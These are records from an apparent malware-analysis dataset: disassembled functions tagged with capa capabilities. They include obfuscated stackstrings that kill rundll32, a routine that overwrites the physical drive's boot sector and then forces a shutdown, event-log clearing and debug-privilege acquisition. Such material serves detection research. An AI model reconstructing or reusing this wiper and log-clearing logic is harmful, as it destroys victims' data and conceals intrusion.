joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eea6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov ecx, dword [0x49d6f4]
and byte [ebp - 3], 0
lea eax, [ebp - 0xc]
push 0xa
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x68
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x33
mov byte [ebp - 5], 0x36
mov byte [ebp - 4], 0x30
call fcn.0040ac8f
movzx eax, word [ebp + 0xc]
mov ecx, dword [0x49d6f4]
push eax
push dword [ebp + 8]
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call fcn.0040ad11
leave
ret

Function at 0x40f0f4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call fcn.0041354a
test eax, eax
pop ecx
je 0x40f1c0
and byte [ebp - 0x14], 0
lea eax, [ebp - 0x30]
push 0
push eax
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x6b
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x2f
mov byte [ebp - 0x26], 0x66
mov byte [ebp - 0x25], 0x20
mov byte [ebp - 0x24], 0x2f
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], 0x20
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x75
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x78
mov byte [ebp - 0x15], 0x65
call dword [fcn.0047d130]
leave
ret
Function at 0x41138a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, reloc.KERNEL32.dll_GetProcessHeap
mov byte [ebp - 0x230], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x33
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push reloc.uxtheme.dll_OpenThemeData
push eax
call fcn.0045c8f0
add esp, 0xc
lea eax, [ebp - 0x14]
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push eax
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x48
mov byte [ebp - 0xe], 0x59
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x49
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0x4c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x52
mov byte [ebp - 6], 0x49
mov byte [ebp - 5], 0x56
mov byte [ebp - 4], 0x45
mov byte [ebp - 3], 0x30
mov byte [ebp - 2], bl
call dword [fcn.0047d244]
mov edi, eax
or eax, reloc.KERNEL32.dll_GetProcessHeap
cmp edi, eax
je 0x4114ed
push esi
lea eax, [ebp - 0x1c]
mov esi, dword [0x47d144]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push edi
call esi
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0x200
push eax
push edi
call dword [fcn.0047d238]
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push edi
call esi
push edi
call dword [fcn.0047d21c]
push 0x7d0
call dword [fcn.0047d224]
call dword [fcn.0047d140]
cmp eax, 0x80000000
pop esi
jae 0x4114dc
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [fcn.0047d0f8]
push eax
call dword [fcn.0047d0ac]
lea eax, [ebp - 0x2c]
push eax
push str.SeShutdownPrivilege
push ebx
call dword [fcn.0047d038]
push ebx
push ebx
lea eax, [ebp - 0x30]
push ebx
push eax
push ebx
push dword [ebp - 0x18]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [fcn.0047d034]
push ebx
push 6
call dword [fcn.0047d438]
push 0xffffffffffffffff
call dword [fcn.0047d120]
pop edi
pop ebx
leave
ret
Function at 0x4114f1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
lea eax, [ebp - 0x24]
push ebx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x2c], eax
xor ebx, ebx
lea eax, [ebp - 0xc]
push esi
push edi
mov byte [ebp - 0x24], 0x41
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6d
mov byte [ebp - 6], bl
mov dword [ebp - 0x28], eax
lea esi, [ebp - 0x30]
mov dword [ebp - 4], 3
push dword [esi]
push ebx
call dword [0x47d0a0]
mov edi, eax
cmp edi, ebx
je 0x4115a3
push ebx
push edi
call dword [0x47d09c]
push edi
call dword [0x47d098]
add esi, 4
dec dword [ebp - 4]
jne 0x411585
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411dbc
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push esi
push edi
push 0x49
xor esi, esi
pop ecx
xor eax, eax
and byte [ebp - 0x244], al
lea edi, reloc.KERNEL32.dll_GetProcessHeap
mov dword [ebp - reloc.KERNEL32.dll_GetProcessHeap], esi
push reloc.wtsapi32.dll_WTSVirtualChannelOpen
rep stosd dword es:[edi], eax
pop ecx
lea edi, reloc.KERNEL32.dll_GetProcessHeap
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
mov dword [ebp - 8], esi
pop edi
mov dword [ebp - 0x10], esi
push edi
push str.SeDebugPrivilege
call fcn.00413886
pop ecx
pop ecx
push esi
push 2
call fcn.00457cb0
cmp eax, reloc.KERNEL32.dll_GetProcessHeap
mov dword [ebp - 4], eax
jne 0x411e1d
xor eax, eax
jmp 0x411fae
push ebx
push 0x400
push reloc.wtsapi32.dll_WTSVirtualChannelOpen
mov dword [ebp - reloc.KERNEL32.dll_GetProcessHeap], 0x128
call dword [fcn.0047d17c]
mov ebx, eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
mov dword [ebp - 0x14], ebx
push dword [ebp - 4]
mov byte [ebx], 0x6c
call fcn.00457cbc
test eax, eax
je 0x411f82
mov esi, dword [fcn.0047d1e0]
push dword [ebp - 0x138]
push 0
push 0x410
call dword [0x47d1e4]
cmp dword [ebp - reloc.KERNEL32.dll_GetProcessHeap], 0
mov dword [ebp - 8], eax
je 0x411f69
cmp dword [ebp - reloc.KERNEL32.dll_GetProcessHeap], 4
je 0x411f69
cmp dword [ebp - reloc.KERNEL32.dll_GetProcessHeap], 8
je 0x411f69
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10]
push 4
push ecx
push eax
call fcn.0045cf98
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0x104
push eax
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.0045cf92
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call esi
mov ebx, eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call esi
lea eax, [ebx + eax + 6]
mov ebx, dword [ebp - 0x14]
add eax, edi
push ebx
mov dword [ebp - 0xc], eax
call dword [fcn.0047d22c]
cmp eax, dword [ebp - 0xc]
jae 0x411efb
push 0x42
push dword [ebp - 0xc]
push ebx
call dword [fcn.0047d184]
mov ebx, eax
mov dword [ebp - 0x14], ebx
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 4
push eax
lea eax, [edi + ebx]
push eax
call fcn.0045c8f0
add esp, 0xc
lea eax, reloc.KERNEL32.dll_GetProcessHeap
add edi, 4
push eax
call esi
inc eax
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
lea eax, [edi + ebx]
push eax
call fcn.0045c8f0
add esp, 0xc
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call esi
inc eax
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
lea eax, [edi + ebx]
push eax
call fcn.0045c8f0
add esp, 0xc
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
push dword [ebp - 4]
call fcn.00457cb6
test eax, eax
jne 0x411e5a
xor esi, esi
push 0x42
push edi
push ebx
call dword [fcn.0047d184]
push esi
push str.SeDebugPrivilege
mov edi, eax
call fcn.00413886
mov esi, dword [fcn.0047d21c]
pop ecx
pop ecx
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call esi
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret
Function at 0x41354a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
lea eax, [ebp - 0x30]
push edi
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x13], 0x45
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x4e
mov byte [ebp - 0x10], 0x45
mov byte [ebp - 0xf], 0x4c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], bl
mov byte [ebp - 0x30], 0x43
mov byte [ebp - 0x2f], 0x72
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x61
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x54
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x68
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x70
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x68
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], bl
call dword [fcn.0047d1c8]
push eax
call dword [fcn.0047d1cc]
push ebx
push 2
call eax
mov esi, 0x128
mov dword [ebp - 4], eax
push esi
call fcn.0045c816
mov edi, eax
pop ecx
push edi
mov dword [edi], esi
mov esi, dword [ebp - 4]
push esi
call fcn.00457cbc
test eax, eax
je 0x41365b
push dword [ebp + 8]
mov ecx, dword [0x49d6f4]
lea eax, [edi + 0x24]
push eax
call fcn.0040a997
test eax, eax
jne 0x413641
mov ebx, dword [edi + 8]
jmp 0x413662
push edi
push esi
call fcn.00457cb6
test eax, eax
je 0x41365b
push dword [ebp + 8]
lea eax, [edi + 0x24]
push eax
call dword [fcn.0047d170]
jmp 0x413638
push esi
call dword [fcn.0047d21c]
push edi
call fcn.0045c810
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x445d30
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x14]
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [ebx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x445d6a
mov eax, 0xfffff800
jmp 0x445d7a
cmp ax, 0x7ff
jle 0x445d77
mov eax, 0x7ff
jmp 0x445d7a
movsx eax, ax
mov esi, ebx
mov word [ecx], ax
lea edx, [ebx + 0x10]
lea eax, [ecx + 2]
sub esi, ecx
mov dword [esp + 0x20], edx
mov ecx, 7
mov di, word [esi + eax]
add edx, 0x10
mov word [eax], di
mov di, word [edx - 0x10]
mov word [eax + 0xe], di
add eax, 2
dec ecx
jne 0x445d90
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov dx, word [eax]
sub word [ebx], dx
mov edx, dword [esp + 0x1c]
mov esi, dword [ecx + edx*4 + 0xd4]
cmp esi, 1
lea esi, [eax + 2]
jne 0x445e11
sub ebx, eax
mov edi, 7
mov ax, word [ebx + esi]
add esi, 2
mov cx, ax
mov dword [esp + 0x18], eax
movsx eax, cx
sub cx, word [esi - 2]
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x445dd0
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov edi, dword [esp + 0x20]
mov ebx, 7
mov cx, word [edi]
add edi, 0x10
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
add esi, 2
dec ebx
mov dword [esp + 0x10], edx
jne 0x445e1a
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
Function at 0x45bcb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
lea edx, [eax + 0x50]
lea ecx, [eax + 8]
push edi
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0x3ff00000
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0x3ff00000
xor eax, eax
fld qword [ecx]
fadd qword [edx]
add eax, 8
add ecx, 8
sub edx, 8
cmp eax, 0x20
fsub qword [esp + eax + 0x48]
fstp qword [esp + eax + 0x50]
fld qword [ecx - 8]
fsub qword [edx + 8]
fadd qword [esp + eax + 0x78]
fstp qword [esp + eax + 0x80]
jle 0x45bcf2
mov eax, dword [0x49ab90]
mov ecx, dword [0x49ab94]
mov dword [esp + 0x10], eax
lea edx, [esp + 0x50]
mov dword [esp + 0x14], ecx
push 5
mov eax, ecx
mov ecx, dword [esp + 0x14]
push edx
push eax
push ecx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x44], ebx
lea edi, [esp + 0x60]
call fcn.0045bee0
mov edx, dword [ebp + 0xc]
add esp, 0x10
mov dword [esp + 0x44], edx
mov esi, 0x49ab90
cmp esi, 0x49ad20
jge 0x45bead
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esi + 8]
add esi, 8
fstp qword [esp + 0x28]
mov dword [esp + 0x38], eax
mov eax, dword [esi + 4]
mov dword [esp + 0x3c], ecx
push 5
mov ecx, eax
push edi
push ecx
push edx
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
call fcn.0045bee0
fst qword [esp + 0x58]
fld qword [esp + 0x38]
fmul st(1)
add esp, 0x10
fcomp qword [0x47d650]
fnstsw ax
test ah, 0x41
je 0x45be9b
fstp st(0)
sub esi, 8
mov ebx, 2
fld qword [esp + 0x38]
fadd qword [esp + 0x10]
push 5
push edi
fmul qword [0x47edc0]
fstp qword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
push eax
push ecx
call fcn.0045bee0
fld st(0)
fmul qword [esp + 0x58]
add esp, 0x10
fcomp qword [0x47d650]
fnstsw ax
test ah, 0x41
je 0x45be14
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
fstp qword [esp + 0x28]
mov dword [esp + 0x38], edx
mov dword [esp + 0x3c], eax
jmp 0x45be28
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
fstp qword [esp + 0x48]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
dec ebx
jne 0x45bdc4
fld qword [esp + 0x38]
fsub qword [esp + 0x10]
mov eax, dword [esp + 0x44]
mov edi, dword [esp + 0x1c]
mov ecx, dword [esp + 0x34]
add eax, 8
fmul qword [esp + 0x48]
fld qword [esp + 0x28]
fsub qword [esp + 0x48]
mov dword [esp + 0x44], eax
inc edi
mov dword [esp + 0x1c], edi
lea edi, [esp + 0x80]
fdivp st(1)
fsubr qword [esp + 0x10]
fst qword [esp + 0x28]
fld st(0)
fstp qword [eax - 8]
mov eax, 1
sub eax, ecx
mov dword [esp + 0x34], eax
jne 0x45be7e
lea edi, [esp + 0x50]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
fstp qword [esp + 0x10]
push 5
push edi
push ecx
push edx
call fcn.0045bee0
mov ebx, dword [esp + 0x2c]
add esp, 0x10
cmp ebx, 0xa
jl 0x45bd5f
fstp st(0)
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xa
fstp st(0)
jge 0x45bed3
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
sub ecx, eax
mov edx, 0xa
mov esi, dword [ecx + eax]
mov dword [eax], esi
mov esi, dword [ecx + eax + 4]
mov dword [eax + 4], esi
add eax, 8
dec edx
jne 0x45bec1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x51610e
Capabilities:
Encode data using base64

Disassembly:
lea esp, [esp + 4]
jmp 0x516118
cmp dword [ebp + 0xc], 3
push dx
push ax
push dword [esp]
jmp 0x555ca3
lea esp, [esp + 8]
jne 0x55574b
je 0x555d03
and bh, byte [edx + 0x8ba4f28]
add byte [edi + 0x18996a0f], bl
jb 0x555d2a
cmp ebx, 0x1a
call 0x555cdf
dec ebx
inc edi
Function at 0x40169d
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0040184d
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x40179b
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x40173e
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x401781
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x401755
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x401770
test al, 0x40
je 0x401767
mov ecx, dword [edi + 0x20]
jmp 0x40176e
test al, 0x80
je 0x401781
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x401781
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x40170d
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x40bb20
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46978b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045e1ee
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40bba2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045bf6d
mov eax, dword [eax]
push 0x5381c0
push eax
call fcn.0044edd4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045e479
test bl, bl
je 0x40bba2
push 0x5381c0
lea ecx, [esp + 0xc]
call fcn.0045e809
push 0x53bd44
lea ecx, [esp + 0xc]
call fcn.0045e809
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40bbde
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045e479
jmp 0x40bca9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40bc62
lea edx, [esp + 0x7c]
push 0x53bd40
push edx
call fcn.0044edd4
add esp, 8
test eax, eax
je 0x40bc62
lea eax, [esp + 0x7c]
push 0x53bd3c
push eax
call fcn.0044edd4
add esp, 8
test eax, eax
je 0x40bc62
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bbf2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045e479
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40c4a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40c502
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40c510
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46980b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x542218]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40c648
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40c576
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e479
xor eax, eax
jmp 0x40c6bf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045e5b6
push esi
lea ecx, [esp + 0xc]
call fcn.0045e845
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40c69d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040c4a0
test eax, eax
jne 0x40c69d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040c4a0
test eax, eax
jne 0x40c69d
lea eax, [esp + 0x14]
push 0x53bd58
push eax
call fcn.0044fe10
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c67c
lea ecx, [esp + 0x14]
push 0x53bd54
push ecx
call fcn.0044fd90
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c67c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40c67f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045e566
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40c58e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e479
xor eax, eax
jmp 0x40c6bf
mov byte [esi], 0
push 0x53bd50
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045e479
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4